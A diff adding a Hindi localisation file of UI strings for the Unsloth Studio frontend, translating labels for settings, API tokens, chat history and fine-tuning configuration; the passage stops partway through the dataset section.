+++ b/studio/frontend/src/i18n/locales/hi.ts
@@ -0,0 +1,999 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
+export const hi = {
+  common: {
+    cancel: "रद्द करें",
+    close: "बंद करें",
+    delete: "हटाएं",
+    done: "पूर्ण",
+    error: "त्रुटि",
+    export: "एक्सपोर्ट करें",
+    help: "सहायता",
+    loading: "लोड हो रहा है...",
+    new: "नया",
+    rename: "नाम बदलें",
+    save: "सहेजें",
+    saving: "सहेजा जा रहा है...",
+    search: "खोजें",
+    shutdown: "शटडाउन",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "{name} खाता मेनू",
+    updateAvailable: "अपडेट उपलब्ध है",
+    aria: {
+      home: "Unsloth होम",
+      closeSidebar: "साइडबार बंद करें",
+      openSidebar: "साइडबार खोलें",
+      chatOptions: "चैट विकल्प",
+      runOptions: "रन विकल्प",
+    },
+    navigation: {
+      newChat: "नई चैट",
+      returnToChat: "चैट पर लौटें",
+      compare: "तुलना करें",
+      search: "खोजें",
+      hub: "मॉडल",
+      train: "ट्रेनिंग",
+      recipes: "रेसिपी",
+      export: "एक्सपोर्ट",
+      recents: "हाल के",
+      noChatsYet: "अभी तक कोई चैट नहीं",
+      settings: "सेटिंग्स",
+      api: "API",
+      lightMode: "लाइट मोड",
+      darkMode: "डार्क मोड",
+      guidedTour: "गाइडेड टूर",
+      help: "सहायता",
+      logOut: "लॉग आउट",
+      shutdown: "शटडाउन",
+    },
+    notFound: {
+      title: "पेज नहीं मिला",
+      description: "{path} मौजूद नहीं है।",
+      backToChat: "चैट पर वापस जाएं",
+    },
+    dialog: {
+      deleteChat: {
+        title: "चैट हटाएं",
+        description: 'क्या आप वाकई इस चैट "{name}" को हटाना चाहते हैं?',
+      },
+      deleteRun: {
+        title: "ट्रेनिंग रन हटाएं",
+        description: 'क्या आप वाकई इस रन "{name}" को हटाना चाहते हैं?',
+      },
+      renameChat: {
+        title: "चैट का नाम बदलें",
+        placeholder: "चैट शीर्षक",
+      },
+      renameRun: {
+        title: "रन का नाम बदलें",
+        placeholder: "रन का नाम",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun: "चल रही ट्रेनिंग रन को हटाया नहीं जा सकता",
+      failedToDeleteChat: "चैट हटाने में विफल",
+      failedToDeleteRun: "रन हटाने में विफल",
+      failedToRenameChat: "चैट का नाम बदलने में विफल",
+      failedToRenameRun: "रन का नाम बदलने में विफल",
+    },
+  },
+  settings: {
+    title: "सेटिंग्स",
+    dialog: {
+      title: "सेटिंग्स",
+      description: "अपनी Unsloth प्राथमिकताएं प्रबंधित करें।",
+      closeAriaLabel: "सेटिंग्स बंद करें",
+    },
+    tabs: {
+      general: "सामान्य",
+      profile: "प्रोफ़ाइल",
+      appearance: "रूप-रंग",
+      resources: "सिस्टम",
+      chat: "चैट",
+      connections: "कनेक्शन",
+      apiKeys: "API",
+      about: "परिचय",
+    },
+    general: {
+      title: "सामान्य",
+      description: "Unsloth के लिए वैश्विक प्राथमिकताएं।",
+      account: "खाता",
+      huggingFaceToken: "Hugging Face टोकन",
+      huggingFaceTokenDescription:
+        "गेटेड मॉडल लोड करने और आर्टिफैक्ट पुश करने के लिए उपयोग किया जाता है।",
+      hideToken: "token छिपाएं",
+      showToken: "token दिखाएं",
+      tokenValidated: "Token सत्यापित",
+      password: "पासवर्ड",
+      passwordDescription: "इस Unsloth खाते के लिए पासवर्ड बदलें।",
+      passwordDialog: {
+        trigger: "पासवर्ड बदलें",
+        title: "पासवर्ड बदलें",
+        description:
+          "अपना वर्तमान पासवर्ड दर्ज करें और एक नया चुनें (कम से कम {minLength} अक्षर)।",
+        currentPassword: "वर्तमान पासवर्ड",
+        newPassword: "नया पासवर्ड",
+        confirmPassword: "नए पासवर्ड की पुष्टि करें",
+        currentTooShort:
+          "वर्तमान पासवर्ड कम से कम {minLength} अक्षरों का होना चाहिए।",
+        newTooShort: "नया पासवर्ड कम से कम {minLength} अक्षरों का होना चाहिए।",
+        mismatch: "पासवर्ड मेल नहीं खाते।",
+        samePassword:
+          "नया पासवर्ड आपके वर्तमान पासवर्ड से अलग होना चाहिए।",
+        update: "पासवर्ड अपडेट करें",
+        updating: "अपडेट हो रहा है...",
+        updated: "पासवर्ड अपडेट हो गया।",
+        updateFailed: "पासवर्ड अपडेट विफल रहा।",
+      },
+      chatDefaults: "चैट डिफ़ॉल्ट",
+      autoTitleNewChats: "नई चैट को स्वतः शीर्षक दें",
+      autoTitleNewChatsDescription:
+        "पहले संदेश से एक छोटा शीर्षक बनाएं।",
+      helperLlm: {
+        sectionTitle: "Helper LLM",
+        preloadOnStartup: "स्टार्टअप पर Helper LLM को प्री-कैश करें",
+        preloadOnStartupDescription:
+          "स्टार्टअप पर AI Assist हेल्पर मॉडल को पृष्ठभूमि में डाउनलोड करें। डिफ़ॉल्ट रूप से बंद; AI Assist अभी भी इसे मांग पर प्राप्त कर सकता है।",
+        disabledByEnv:
+          "बैकएंड एनवायरनमेंट में UNSLOTH_HELPER_MODEL_DISABLE द्वारा अक्षम।",
+        loadError: "Helper LLM सेटिंग्स लोड करने में विफल।",
+        saveError: "Helper LLM सेटिंग्स सहेजने में विफल।",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "मॉडल ऑटो-स्विच (OpenAI API)",
+        enable: "अनुरोध के अनुसार मॉडल बदलें",
+        enableDescription:
+          "जब कोई OpenAI-संगत अनुरोध किसी अन्य डाउनलोड किए गए GGUF का नाम लेता है, तो सर्व करने से पहले उसे लोड करें। डिफ़ॉल्ट रूप से बंद; अज्ञात नाम लोड किए गए मॉडल को सर्व करते रहते हैं।",
+        idleUnload: "निष्क्रिय ऑटो-अनलोड",
+        idleUnloadDescription:
+          "VRAM मुक्त करने के लिए इतने निष्क्रिय सेकंड के बाद मॉडल को अनलोड करें; अगला अनुरोध इसे फिर से लोड करता है। 0 इसे लोड रखता है। न्यूनतम 60 सेकंड।",
+        idleNeedsEnable:
+          "अनुरोध के अनुसार मॉडल बदलें चालू करें ताकि अनलोड किया गया मॉडल अगले उपयोग पर फिर से लोड हो।",
+        idleActiveViaEnv:
+          "निष्क्रिय ऑटो-अनलोड UNSLOTH_MODEL_IDLE_TTL एनवायरनमेंट वेरिएबल के माध्यम से सक्रिय है।",
+        loadError: "मॉडल ऑटो-स्विच सेटिंग्स लोड करने में विफल।",
+        saveError: "मॉडल ऑटो-स्विच सेटिंग्स सहेजने में विफल।",
+        idleError: "मॉडल को लोड रखने के लिए 0 दर्ज करें, या कम से कम 60 सेकंड।",
+      },
+      previewSharing: {
+        sectionTitle: "पूर्वावलोकन साझाकरण",
+        enableLabel: "सार्वजनिक पूर्वावलोकन लिंक",
+        enableDescription:
+          "किसी भी हस्ताक्षरित लिंक वाले व्यक्ति को बिना लॉगिन के तैयार मॉडल से चैट करने दें। सार्वजनिक पूर्वावलोकन सतह को ऑफ़लाइन करने के लिए बंद करें; साझा किए गए लिंक काम करना बंद कर देते हैं।",
+        loadError: "पूर्वावलोकन साझाकरण सेटिंग्स लोड करने में विफल।",
+        saveError: "पूर्वावलोकन साझाकरण सेटिंग्स सहेजने में विफल।",
+        revokeLabel: "सभी पूर्वावलोकन लिंक रद्द करें",
+        revokeDescription:
+          "हस्ताक्षर करने वाले सीक्रेट को घुमाएं ताकि आपके द्वारा साझा किया गया हर लिंक काम करना बंद कर दे। नए कॉपी किए गए लिंक काम करते रहते हैं।",
+        revokeAction: "लिंक रद्द करें",
+        revoking: "रद्द किया जा रहा है...",
+        revokeConfirmTitle: "सभी पूर्वावलोकन लिंक रद्द करें?",
+        revokeConfirmDescription:
+          "आपके द्वारा साझा किया गया हर पूर्वावलोकन लिंक तुरंत काम करना बंद कर देगा। इसे पूर्ववत नहीं किया जा सकता।",
+        revokeConfirmAction: "सभी लिंक रद्द करें",
+        revoked: "सभी पूर्वावलोकन लिंक रद्द किए गए",
+        revokeError: "पूर्वावलोकन लिंक रद्द नहीं किए जा सके",
+      },
+      notifications: {
+        sectionTitle: "सूचनाएं",
+        showLlamaUpdates: "llama.cpp अपडेट सूचनाएं",
+        showLlamaUpdatesDescription:
+          "नए मॉडल चलाने के लिए जब कोई नया llama.cpp बिल्ड उपलब्ध हो तो सूचित करें। यदि आप केवल ट्रेन करते हैं तो बंद कर दें।",
+      },
+      gettingStarted: "शुरुआत करें",
+      startOnboarding: "ऑनबोर्डिंग शुरू करें",
+      startOnboardingDescription:
+        "अपना खाता बदले बिना सेटअप विज़ार्ड फिर से खोलें।",
+      startOnboardingAction: "ऑनबोर्डिंग शुरू करें",
+      uploads: {
+        sectionTitle: "अपलोड",
+        maxUploadSize: "ट्रेनिंग डेटासेट अपलोड सीमा",
+        maxUploadSizeDescription: "डिफ़ॉल्ट {defaultSize} MB है।",
+      },
+      rag: {
+        sectionTitle: "दस्तावेज़ और RAG",
+        embeddingModel: "एम्बेडिंग मॉडल",
+        embeddingModelDescription:
+          "आपके दस्तावेज़ों को इंडेक्स और खोजने के लिए उपयोग किया जाने वाला Hugging Face मॉडल या स्थानीय पथ। डिफ़ॉल्ट {defaultModel} है।",
+        reindexWarning:
+          "केवल नए इंडेक्स किए गए दस्तावेज़ों को प्रभावित करता है। मॉडल बदलने के बाद मौजूदा दस्तावेज़ फिर से अपलोड करें।",
+        emptyError: "एक Hugging Face मॉडल id या स्थानीय पथ दर्ज करें।",
+        loadError: "एम्बेडिंग मॉडल सेटिंग लोड करने में विफल।",
+        saveError: "एम्बेडिंग मॉडल सहेजने में विफल।",
+        saved: "एम्बेडिंग मॉडल सहेजा गया।",
+        saveAnyway: "फिर भी सहेजें",
+        resetAction: "डिफ़ॉल्ट पर रीसेट करें",
+      },
+      storage: {
+        sectionTitle: "स्टोरेज",
+        modelsFolder: "मॉडल फ़ोल्डर",
+        modelsFolderDescription: "जहां डाउनलोड किए गए मॉडल संग्रहीत होते हैं।",
+        openAction: "खोलें",
+        copyAction: "पथ कॉपी करें",
+        copied: "पथ कॉपी किया गया",
+        openError: "फ़ोल्डर नहीं खोला जा सका",
+        copyError: "पथ कॉपी नहीं किया जा सका",
+      },
+      resetPreferences: {
+        sectionTitle: "खतरनाक क्षेत्र",
+        label: "सभी स्थानीय प्राथमिकताएं रीसेट करें",
+        description:
+          "केवल-स्थानीय प्राथमिकताएं साफ़ करता है। चैट, API एक्सेस, और DB-समर्थित सेटिंग्स बनी रहती हैं।",
+        action: "प्राथमिकताएं रीसेट करें",
+        confirmTitle: "सभी स्थानीय प्राथमिकताएं रीसेट करें?",
+        confirmDescription:
+          "केवल-स्थानीय प्राथमिकताएं साफ़ करता है और Unsloth को फिर से लोड करता है। चैट, API एक्सेस, और DB-समर्थित सेटिंग्स बनी रहती हैं।",
+        confirmAction: "रीसेट करें और फिर से लोड करें",
+      },
+    },
+    profile: {
+      title: "प्रोफ़ाइल",
+      description: "Unsloth में आपकी प्रोफ़ाइल कैसे दिखती है।",
+      changePicture: "प्रोफ़ाइल चित्र बदलें",
+      displayName: "प्रदर्शन नाम",
+      nickname: "Unsloth आपको क्या कहकर बुलाए?",
+      nicknamePlaceholder: "उपनाम",
+      nicknameSaved: "पसंदीदा नाम सहेजा गया",
+      avatarShape: "प्रोफ़ाइल चित्र आकार",
+      avatarShapeCircle: "वृत्त",
+      avatarShapeRounded: "गोल किनारे",
+      chooseSloth: "या एक sloth चुनें",
+      nameSaved: "प्रोफ़ाइल नाम सहेजा गया",
+      namePersistErrorTitle: "प्रोफ़ाइल नाम सहेजा नहीं जा सका",
+      namePersistErrorDescription:
+        "इस सत्र के लिए नाम अपडेट किया गया, लेकिन फिर से लोड करने के बाद शायद न रहे।",
+      photoUpdated: "प्रोफ़ाइल फोटो अपडेट हुई",
+      photoPersistErrorTitle: "प्रोफ़ाइल फोटो सहेजी नहीं जा सकी",
+      photoPersistErrorDescription:
+        "इस सत्र के लिए फोटो अपडेट की गई, लेकिन फिर से लोड करने के बाद शायद न रहे।",
+      photoUpdateErrorTitle: "प्रोफ़ाइल फोटो अपडेट नहीं की जा सकी",
+      imageUseError: "इस छवि का उपयोग नहीं किया जा सका।",
+    },
+    appearance: {
+      title: "रूप-रंग",
+      description: "इस डिवाइस पर Unsloth Studio कैसा दिखता है।",
+      theme: {
+        title: "थीम",
+        label: "रंग योजना",
+        description: "लाइट, डार्क, या अपने सिस्टम का अनुसरण करें।",
+        system: "सिस्टम",
+        light: "लाइट",
+        dark: "डार्क",
+      },
+      language: {
+        title: "भाषा",
+        label: "प्रदर्शन भाषा",
+        description: "Unsloth द्वारा उपयोग की जाने वाली भाषा।",
+        autoDetect: "स्वतः पहचान",
+      },
+      layout: {
+        title: "लेआउट",
+        compactSidebar: "साइडबार को डिफ़ॉल्ट रूप से पिन करें",
+        compactSidebarDescription:
+          "साइडबार को आइकन में संक्षिप्त करने के बजाय विस्तारित रखें।",
+      },
+    },
+    resources: {
+      title: "सिस्टम",
+      description: "इस Unsloth सर्वर के हार्डवेयर और स्टोरेज की निगरानी करें।",
+      liveUpdates: "लाइव अपडेट",
+      floatingWindow: "फ्लोटिंग विंडो",
+      disableOverlay: "ओवरले अक्षम करें",
+      liveMonitor: {
+        title: "लाइव मॉनिटर",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "डिस्क",
+        vram: "VRAM",
+        cpuCores: "{logical} लॉजिकल / {physical} फिजिकल कोर",
+        currentLoad: "वर्तमान लोड",
+        free: "{value} खाली",
+        noGpu: "कोई दृश्यमान GPU नहीं",
+      },
+      gpu: {
+        title: "GPU डिवाइस",
+        noGpu: "कोई दृश्यमान GPU नहीं मिला। केवल-CPU संसाधन ऊपर दिखाए गए हैं।",
+        unknownDevice: "अज्ञात GPU",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} उपयोग में",
+        free: "{value} खाली",
+        total: "{value} कुल",
+      },
+      storage: {
+        title: "स्टोरेज",
+        systemDisk: "सिस्टम डिस्क",
+        diskUsage: "{used} उपयोग में / {total}",
+        diskFree: "{free} खाली",
+        modelsFolder: "मॉडल फ़ोल्डर",
+        modelsFolderDescription: "जहां डाउनलोड किए गए मॉडल संग्रहीत होते हैं।",
+        openAction: "खोलें",
+        copyAction: "पथ कॉपी करें",
+        copied: "पथ कॉपी किया गया",
+        openError: "फ़ोल्डर नहीं खोला जा सका",
+        copyError: "पथ कॉपी नहीं किया जा सका",
+      },
+      environment: {
+        title: "एनवायरनमेंट",
+        backend: "बैकएंड",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "अपटाइम",
+        processMemory: "प्रोसेस मेमोरी",
+        notInstalled: "इंस्टॉल नहीं है",
+        unknown: "अज्ञात",
+      },
+    },
+    chat: {
+      title: "चैट",
+      description: "इस डिवाइस पर संग्रहीत चैट इतिहास प्रबंधित करें।",
+      modelDisclaimer: "मॉडल अस्वीकरण दिखाएं",
+      modelDisclaimerDescription:
+        'चैट बॉक्स के नीचे "LLMs can make mistakes" दिखाएं।',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "HTML ब्लॉक संक्षिप्त करें",
+        collapseHtmlBlocksDescription:
+          "Canvas मोड स्वतः पूर्ण HTML को संक्षिप्त कर देता है। Canvas बंद होने पर फेंस्ड HTML दस्तावेज़ों को भी संक्षिप्त करने के लिए इसे चालू करें।",
+        allowNetworkAccess: "canvas नेटवर्क एक्सेस की अनुमति दें",
+        allowNetworkAccessDescription:
+          "canvas पूर्वावलोकन को CDN से स्क्रिप्ट, स्टाइल, फ़ॉन्ट, मीडिया, और नेटवर्क संसाधन लोड करने दें। पूरी तरह ऑफ़लाइन पूर्वावलोकन के लिए बंद रखें।",
+      },
+      data: "डेटा",
+      exportHistory: "चैट इतिहास एक्सपोर्ट करें",
+      exportHistoryDescription: "सभी चैट और संदेशों को JSON के रूप में डाउनलोड करें।",
+      exportAction: "एक्सपोर्ट करें",
+      exportingAction: "एक्सपोर्ट हो रहा है...",
+      exportConversations: "हाल के और Projects एक्सपोर्ट करें",
+      exportConversationsDescription:
+        "हाल के या हाल के के साथ प्रोजेक्ट चैट को Raw JSONL, CSV, या ShareGPT JSONL के रूप में, संयुक्त या प्रति चैट डाउनलोड करें।",
+      exportConversationsAction: "एक्सपोर्ट करें",
+      exportScopeRecents: "हाल के",
+      exportScopeAll: "हाल के + Projects",
+      exportCombinedSuffix: "(संयुक्त)",
+      exportPerChatSuffix: "(प्रति चैट)",
+      importChats: "चैट इंपोर्ट करें",
+      importChatsDescription:
+        "एक JSONL, NDJSON, या CSV एक्सपोर्ट को हाल के में इंपोर्ट करें।",
+      importChatsAction: "इंपोर्ट करें",
+      importNoConversations: "फ़ाइल में कोई वार्तालाप नहीं मिला।",
+      importedOneChat: "1 वार्तालाप हाल के में इंपोर्ट किया गया।",
+      importedChatCount: "{count} वार्तालाप हाल के में इंपोर्ट किए गए।",
+      importFailed: "इंपोर्ट विफल रहा।",
+      clearHistory: "चैट इतिहास साफ़ करें",
+      clearHistoryDescription: "इस डिवाइस से चैट इतिहास हटाएं।",
+      clearAction: "साफ़ करें",
+      clearAllChats: "सभी चैट साफ़ करें",
+      clearAllChatsDescription: "इस डिवाइस पर हर चैट को स्थायी रूप से हटाएं।",
+      noChatsToClear: "साफ़ करने के लिए कोई चैट नहीं।",
+      clearOneChatDescription:
+        "इस डिवाइस पर एकमात्र चैट को स्थायी रूप से हटाएं।",
+      clearChatCountDescription:
+        "इस डिवाइस पर सभी {count} चैट को स्थायी रूप से हटाएं।",
+      clearChatsAction: "चैट साफ़ करें",
+      clearOneChatTitle: "1 चैट साफ़ करें?",
+      clearChatsTitle: "{count} चैट साफ़ करें?",
+      clearChatsConfirmDescription:
+        "इस डिवाइस पर हर चैट को स्थायी रूप से हटा देता है। इसे पूर्ववत नहीं किया जा सकता।",
+      clearingAction: "साफ़ किया जा रहा है...",
+      clearOneChatAction: "1 चैट साफ़ करें",
+      clearChatCountAction: "{count} चैट साफ़ करें",
+      clearedAllChats: "सभी चैट साफ़ की गईं",
+      clearedOneChat: "1 चैट साफ़ की गई",
+      clearedChatCount: "{count} चैट साफ़ की गईं",
+      someChatsCouldNotBeCleared: "कुछ चैट साफ़ नहीं की जा सकीं",
+      chatsClearedRemainOne:
+        "{clearedCount} चैट साफ़ की गईं; 1 चैट शेष है। कृपया पुनः प्रयास करें।",
+      chatsClearedRemain:
+        "{clearedCount} चैट साफ़ की गईं; {remainingCount} चैट शेष हैं। कृपया पुनः प्रयास करें।",
+      oneChatClearedRemain:
+        "1 चैट साफ़ की गई; {remainingCount} चैट शेष हैं। कृपया पुनः प्रयास करें।",
+      oneChatClearedRemainOne: "1 चैट साफ़ की गई; 1 चैट शेष है। कृपया पुनः प्रयास करें।",
+      storageClearFailedOne:
+        "एक स्टोरेज साफ़ करना विफल रहा; 1 चैट शेष रह सकती है। कृपया पुनः प्रयास करें।",
+      storageClearFailed:
+        "एक स्टोरेज साफ़ करना विफल रहा; {count} चैट शेष रह सकती हैं। कृपया पुनः प्रयास करें।",
+      failedToClearChats: "चैट साफ़ करने में विफल",
+    },
+    connections: {
+      title: "कनेक्शन",
+      description: "प्रदाता और बाहरी कनेक्शन प्रबंधित करें।",
+    },
+    apiKeys: {
+      title: "API",
+      description: "OpenAI-संगत API के माध्यम से Unsloth तक पहुंचें।",
+      readDocs: "API दस्तावेज़ पढ़ें",
+      noAccess: "अभी तक कोई API एक्सेस नहीं।",
+      accessTokens: "एक्सेस token",
+      loadError: "API एक्सेस लोड नहीं किया जा सका।",
+      createError: "एक्सेस token नहीं बनाया जा सका।",
+      revokeError: "एक्सेस token रद्द नहीं किया जा सका।",
+      never: "कभी नहीं",
+      tokenNamePlaceholder: "Token नाम (उदा. production)",
+      newAccessTokenName: "नया एक्सेस token नाम",
+      createToken: "token बनाएं",
+      creating: "बनाया जा रहा है...",
+      newTokenCreated: "नया एक्सेस token बनाया गया",
+      accessTokenCopied: "एक्सेस token कॉपी किया गया",
+      copyAccessToken: "एक्सेस token कॉपी करें",
+      copyNow: "अभी कॉपी करें - यह फिर से नहीं दिखाया जाएगा।",
+      usageExamples: "उपयोग उदाहरण",
+      usageTools: "टूल",
+      exampleCurlTools: "curl + टूल",
+      examplePythonTools: "Python + टूल",
+      exampleJavaScriptTools: "JavaScript + टूल",
+      exampleCurlAdvanced: "curl + उन्नत",
+      examplePythonAdvanced: "Python + उन्नत",
+      exampleJavaScriptAdvanced: "JavaScript + उन्नत",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "सुरक्षित HTTPS",
+      secureHttpsHint:
+        "0.0.0.0 पोर्ट अभी भी विश्व स्तर पर पहुंच योग्य है। पूर्ण सुरक्षा के लिए, केवल इस HTTPS लिंक को उजागर करने के लिए Unsloth Studio को --secure के साथ लॉन्च करें।",
+      copyTunnelUrl: "टनल URL कॉपी करें",
+      copySnippet: "स्निपेट कॉपी करें",
+      copy: "कॉपी करें",
+      copied: "कॉपी किया गया",
+      setupDocs: "सेटअप दस्तावेज़:",
+      codingAgents: "कोडिंग एजेंट",
+      codingAgentsHint:
+        "इस सर्वर के विरुद्ध एक कोडिंग एजेंट लॉन्च करें। यह लोड किए गए मॉडल का उपयोग करता है; एक स्थानीय सर्वर स्वचालित रूप से API key बनाता है, एक रिमोट सर्वर इसे कमांड में शामिल करता है।",
+      codingAgentsSwap: "claude को codex, openclaw, opencode, hermes, या pi से बदलें।",
+      codingAgentDetected: "इस मशीन पर इंस्टॉल है",
+      codingAgentsDetectedHint: "इस मशीन पर पाया गया: {agents}।",
+      relativeNever: "कभी नहीं",
+      relativeJustNow: "अभी",
+      relativeHoursAgo: "{count} घंटे पहले",
+      relativeDaysAgo: "{count} दिन पहले",
+      relativeMonthsAgo: "{count} माह पहले",
+      relativeYearsAgo: "{count} वर्ष पहले",
+      expired: "समाप्त",
+      today: "आज",
+      inDays: "{count} दिन में",
+      created: "बनाया गया {value}",
+      used: "उपयोग किया गया {value}",
+      expires: "समाप्त होता है {value}",
+      actionsFor: "{name} के लिए कार्रवाइयां",
+      copyPrefix: "प्रीफ़िक्स कॉपी करें",
+      revokeToken: "token रद्द करें",
+      revokeTitle: 'एक्सेस token "{name}" रद्द करें?',
+      revokeDescription:
+        "इस token का उपयोग करने वाले ऐप तुरंत एक्सेस खो देते हैं। इसे पूर्ववत नहीं किया जा सकता।",
+      revokeAction: '"{name}" रद्द करें',
+      revoking: "रद्द किया जा रहा है...",
+    },
+    about: {
+      title: "परिचय",
+      description: "दस्तावेज़, रिलीज़ नोट्स, प्रतिक्रिया, और बिल्ड जानकारी।",
+      studioVersion: "Unsloth संस्करण",
+      packageVersion: "पैकेज संस्करण",
+      llamaCppVersion: "llama.cpp संस्करण",
+      hardware: "हार्डवेयर",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "अपडेट",
+      help: "सहायता",
+      documentation: "दस्तावेज़",
+      releaseNotes: "रिलीज़ नोट्स",
+      whatsNew: "नया क्या है",
+      feedback: "प्रतिक्रिया",
+      reportIssue: "समस्या रिपोर्ट करें",
+      license: {
+        sectionTitle: "लाइसेंस",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription: "GNU AGPL v3.0 के तहत ओपन सोर्स।",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Apache 2.0 के तहत लाइसेंस प्राप्त।",
+      },
+      dangerZone: "खतरनाक क्षेत्र",
+      shutDownStudio: "Unsloth Studio शट डाउन करें",
+      shutDownStudioDescription:
+        "Unsloth सर्वर को रोकता है और आपके सत्र को समाप्त करता है।",
+      shutDown: "शट डाउन करें",
+      update: {
+        title: "Unsloth Studio अपडेट करें",
+        commandText: "{label} टेक्स्ट",
+        copied: "कॉपी किया गया",
+        copyCommand: "कमांड कॉपी करें",
+        commandCopied: "{label} कॉपी किया गया",
+        copyNamedCommand: "{label} कॉपी करें",
+        checkingInstall: "जांच रहे हैं कि Unsloth कैसे इंस्टॉल किया गया था...",
+        installIntro: "Unsloth इंस्टॉल या अपडेट करने के लिए:",
+        localUpdateHeading: "स्थानीय अपडेट",
+        installCommandUnix: "macOS/Linux इंस्टॉल कमांड",
+        installCommandWindows: "Windows इंस्टॉल कमांड",
+        localInstallDetected:
+          "स्थानीय इंस्टॉल का पता चला। इसे PyPI से बदलने से बचने के लिए अपने मूल checkout से अपडेट करें।",
+        pullThenUpdate:
+          "नवीनतम परिवर्तन खींचें, फिर स्थानीय इंस्टॉलर चलाएं:",
+        gitPullCommand: "git pull कमांड",
+        localInstallerCommand: "स्थानीय इंस्टॉलर कमांड",
+        sourceInstallDetected:
+          "सोर्स या VCS पैकेज इंस्टॉल का पता चला। मूल स्थानीय पथ या Git URL से पुनः इंस्टॉल करें।",
+        repoCheckoutFallback:
+          "यदि आपके पास अभी भी रेपो checkout है, तो उससे स्थानीय इंस्टॉलर चलाएं:",
+        restartAfterUpdate: "अपडेट करने के बाद Unsloth को पुनः आरंभ करें।",
+        desktopManaged:
+          "डेस्कटॉप ऐप अपने बंडल किए गए बैकएंड को अपडेट रखता है और नया संस्करण उपलब्ध होने पर संकेत देगा।",
+        unknownInstall:
+          "यह पता नहीं लगाया जा सका कि Unsloth कैसे इंस्टॉल किया गया था। इंस्टॉलर या PyPI इंस्टॉल के लिए, ऊपर दिए गए कमांड का उपयोग करें।",
+        localCheckout:
+          "स्थानीय checkout इंस्टॉल के लिए, उस checkout से स्थानीय इंस्टॉलर चलाएं:",
+        docs: "इंस्टॉल दस्तावेज़:",
+        docsInstall: "इंस्टॉलेशन",
+        docsUpdating: "अपडेट करना",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "ट्रेनिंग",
+    title: "फ़ाइन-ट्यूनिंग Studio",
+    subtitles: {
+      configure: "कॉन्फ़िगर करें और ट्रेनिंग शुरू करें",
+      trainingInProgress: "ट्रेनिंग जारी है",
+      viewPastRuns: "पिछली ट्रेनिंग रन देखें",
+      viewingPastRun: "पिछली रन देख रहे हैं",
+    },
+    tabs: {
+      configure: "कॉन्फ़िगर करें",
+      currentRun: "वर्तमान रन",
+      history: "इतिहास",
+    },
+    loadingRuntime: "ट्रेनिंग रनटाइम लोड हो रहा है...",
+    backToHistory: "इतिहास पर वापस जाएं",
+    sections: {
+      model: "मॉडल",
+      dataset: "डेटासेट",
+      params: "पैरामीटर",
+      training: "ट्रेनिंग",
+      charts: "चार्ट",
+      progress: "ट्रेनिंग प्रगति",
+    },
+    configure: {
+      title: "कॉन्फ़िगर करें",
+      description: "एक मॉडल, डेटासेट, और ट्रेनिंग सेटिंग्स चुनें।",
+      startTraining: "ट्रेनिंग शुरू करें",
+      starting: "शुरू हो रहा है...",
+      loadingModel: "मॉडल लोड हो रहा है...",
+      checkingDataset: "डेटासेट जांचा जा रहा है...",
+      trainingConfig: "ट्रेनिंग कॉन्फ़िग",
+    },
+    model: {
+      title: "मॉडल",
+      description: "बेस मॉडल और ट्रेनिंग विधि चुनें",
+      fasterTrainingBadge: "2x तेज़ ट्रेनिंग",
+      baseModel: "बेस मॉडल",
+      localModel: "स्थानीय मॉडल",
+      localModelTooltip:
+        "स्थानीय रूप से डाउनलोड किए गए मॉडल या कस्टम HF रेपो का पथ।",
+      scanningLocalAndCachedModels: "स्थानीय और कैश किए गए मॉडल स्कैन हो रहे हैं...",
+      scanning: "स्कैन हो रहा है...",
+      scanningLocalModels: "स्थानीय मॉडल स्कैन हो रहे हैं...",
+      noLocalModelsFound: "कोई स्थानीय मॉडल नहीं मिला",
+      noLocalModelsFoundManual: "कोई स्थानीय मॉडल नहीं मिला। पथ मैन्युअल रूप से दर्ज करें।",
+      failedToLoadLocalModels: "स्थानीय मॉडल लोड करने में विफल",
+      hfCache: "HF कैश",
+      customFolders: "कस्टम फ़ोल्डर",
+      localDir: "स्थानीय dir",
+      huggingFaceModel: "Hugging Face मॉडल",
+      huggingFaceModelTooltip:
+        "Hugging Face मॉडल खोजें या हमारी अनुशंसित सूची से चुनें।",
+      searchModels: "मॉडल खोजें...",
+      searching: "खोजा जा रहा है...",
+      noModelsFound: "कोई मॉडल नहीं मिला",
+      needsVram: "~{vram}GB VRAM चाहिए (GPU: {gpu}GB)",
+      tightVram: "~{vram}GB VRAM ({gpu}GB पर बमुश्किल फिट)",
+      vramEstimate: "लगभग {vram}GB VRAM",
+      method: "विधि",
+      methodTooltip:
+        "QLoRA सबसे कम VRAM के लिए 4-बिट क्वांटाइज़ेशन का उपयोग करता है। LoRA 16-बिट का उपयोग करता है। Full सभी वेट्स को अपडेट करता है। CPT (Continued Pretraining) चैट फ़ॉर्मेटिंग के बिना मॉडल को नए डोमेन के अनुकूल बनाने के लिए कच्चे टेक्स्ट पर ट्रेन करता है।",
+      readMore: "और पढ़ें",
+      fullFineTune: "फुल फ़ाइन-ट्यून",
+      checkingToken: "token जांचा जा रहा है...",
+      getOrUpdateToken: "token प्राप्त या अपडेट करें",
+      huggingFaceTokenOptional: "Hugging Face Token (वैकल्पिक)",
+      continuedPretraining: "निरंतर प्री-ट्रेनिंग",
+      localModels: "स्थानीय मॉडल",
+      localModelsFound: "{count} स्थानीय/कैश किए गए मॉडल मिले",
+      loadingLocalModels: "स्थानीय मॉडल लोड हो रहे हैं...",
+    },
+    dataset: {
+      title: "डेटासेट",
+      description: "ट्रेनिंग डेटा चुनें या अपलोड करें",
+      source: "डेटासेट स्रोत",
